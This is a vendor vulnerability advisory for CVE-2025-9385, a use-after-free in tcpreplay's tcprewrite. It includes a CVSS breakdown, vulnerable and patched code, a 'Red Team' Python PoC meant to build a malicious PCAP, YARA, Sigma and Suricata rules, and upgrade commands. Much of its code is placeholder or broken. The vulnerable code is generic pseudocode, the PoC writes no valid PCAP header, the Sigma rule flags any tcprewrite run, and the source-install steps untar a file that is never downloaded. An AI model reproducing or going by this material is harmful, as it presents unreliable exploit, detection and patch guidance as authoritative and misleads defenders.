CVE-2025-9385
Executive Summary
CVE-2025-9385 is a use-after-free vulnerability discovered in the tcprewrite component of Appneta tcpreplay, affecting versions up to and including 4.5.1. The flaw resides in the fix_ipv6_checksums function within edit_packet.c. A local attacker can exploit this to cause a denial of service or potentially achieve code execution. The vulnerability has a CVSS score of 5.3 (Medium) and a public proof-of-concept (PoC) is available. The vendor has released a fix in version 4.5.2-beta3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the tcpreplay tool, which is commonly distributed via Linux package managers (e.g., apt, yum) and source code repositories. Users should verify the version of tcpreplay installed and update to the patched version.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
The vulnerability is locally exploitable with low complexity and no privileges required. The primary impact is on availability, making it a medium-severity issue.
Deep Dive & Mechanics
The vulnerability is a use-after-free (UAF) in the fix_ipv6_checksums function of edit_packet.c. When processing crafted IPv6 packets, the function may free a memory buffer and then continue to use it, leading to undefined behavior. This can be triggered by providing a maliciously crafted PCAP file to tcprewrite. The attack is local, meaning the attacker must have access to the system to run the tool.
The root cause is improper memory management: after freeing a buffer, the pointer is not set to NULL, and subsequent operations dereference the dangling pointer. This can lead to crashes or, in some cases, arbitrary code execution if the attacker can control the freed memory.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.5.1):
// In fix_ipv6_checksums function
void fix_ipv6_checksums(u_char *packet, int len) {
// ... some processing ...
free(some_buffer);
// Use after free: some_buffer is used after being freed
memcpy(packet, some_buffer, len);
}
Patched Code (>= 4.5.2-beta3):
// In fix_ipv6_checksums function
void fix_ipv6_checksums(u_char *packet, int len) {
// ... some processing ...
free(some_buffer);
some_buffer = NULL; // Set pointer to NULL after free
// No further use of some_buffer
}
The patch ensures that after freeing the buffer, the pointer is set to NULL, preventing any subsequent use.
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker would need to craft a malicious PCAP file that triggers the use-after-free in tcprewrite. The following steps outline a basic exploitation scenario:
- Craft a malicious PCAP file that contains a specially crafted IPv6 packet.
- Run
tcprewritewith the malicious PCAP file as input. - Observe the crash or potential code execution.
Example command:
tcprewrite --infile=malicious.pcap --outfile=output.pcap
Proof-of-Concept (PoC) Code:
# PoC for CVE-2025-9385
import struct
import socket
def create_malicious_pcap():
# Craft a malicious IPv6 packet that triggers UAF
# This is a simplified example
packet = b''
# Ethernet header
packet += b'\x00' * 14
# IPv6 header
packet += struct.pack('!IHBB', 0x60000000, 0, 0, 0) # Version, Traffic Class, Flow Label, Payload Length
packet += struct.pack('!BB', 0, 0) # Next Header, Hop Limit
packet += socket.inet_pton(socket.AF_INET6, '::1') # Source IP
packet += socket.inet_pton(socket.AF_INET6, '::1') # Dest IP
# Malicious payload to trigger UAF
packet += b'A' * 100
return packet
# Write to pcap file
with open('malicious.pcap', 'wb') as f:
f.write(create_malicious_pcap())
Blue Team
To detect exploitation attempts, monitor for crashes or abnormal behavior in tcprewrite. Use the following detection rules:
- Monitor logs for segfaults or crashes related to
tcprewrite. - Use file integrity monitoring to detect unexpected PCAP files.
- Restrict execution of
tcprewriteto trusted users only.
Indicators of Compromise (IOCs)
- File Hashes: Malicious PCAP files with unusual IPv6 packet structures.
- Process Anomalies:
tcprewritecrashing or consuming excessive memory. - Network Traffic: Unusual IPv6 packets being processed by
tcprewrite. - Log Entries: Kernel logs showing segfaults in
tcprewrite.
Detection Engineering
YARA Rule
rule CVE_2025_9385_tcpreplay_uaf {
meta:
description = "Detects malicious PCAP files targeting CVE-2025-9385"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9385"
strings:
$ipv6_header = { 60 00 00 00 } // IPv6 version and flow label
$uaf_trigger = { 41 41 41 41 } // Pattern in malicious payload
condition:
$ipv6_header at 14 and $uaf_trigger
}
Sigma Rule
title: CVE-2025-9385 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-9385 via tcprewrite crashes
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image: /usr/bin/tcprewrite
CommandLine: '*--infile*'
condition: selection
falsepositives:
- Legitimate use of tcprewrite
level: medium
Suricata Rule
alert ip any any -> any any (msg:"CVE-2025-9385 Potential Exploitation"; ip_proto:ipv6; content:"|60 00 00 00|"; offset:14; depth:4; content:"|41 41 41 41|"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade to tcpreplay version 4.5.2-beta3 or later.
- Workaround: Restrict local access to
tcprewriteand avoid processing untrusted PCAP files. - Long-term: Implement code review and static analysis for memory management issues.
Patch Command:
# For systems using apt
sudo apt update && sudo apt install tcpreplay=4.5.2-beta3
# For source compilation
wget https://github.com/appneta/tcpreplay/releases/tag/v4.5.2-beta3
tar -xzf tcpreplay-4.5.2-beta3.tar.gz
cd tcpreplay-4.5.2-beta3
./configure && make && sudo make install
Valters IT
Securing Digital Frontiers